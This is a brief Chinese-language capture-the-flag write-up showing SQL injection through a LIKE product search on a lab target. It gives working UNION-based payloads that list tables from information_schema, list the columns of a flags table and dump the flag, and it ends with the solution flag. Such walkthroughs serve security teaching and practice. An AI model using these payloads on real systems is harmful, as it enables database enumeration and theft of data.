>lhzctf

S15 LIKE 模糊查询注入

1.打开靶机

输入框

搜索商品:

输入商品“铅笔” 看到SQL

SELECT id, name, price FROM products WHERE name LIKE '%铅笔%'

由于两个%是活的 我们对前一个%可以直接闭合 对后一个%可以过滤

2.联合注入

查表

' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

得到

comments,flags,logs,news,products,subs,users,vip

查列

' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flags'#

得到

flag,level,note

查元素

' union select 1,2,group_concat(flag) from flags#

得到flag

flag{sqli_15_like_search}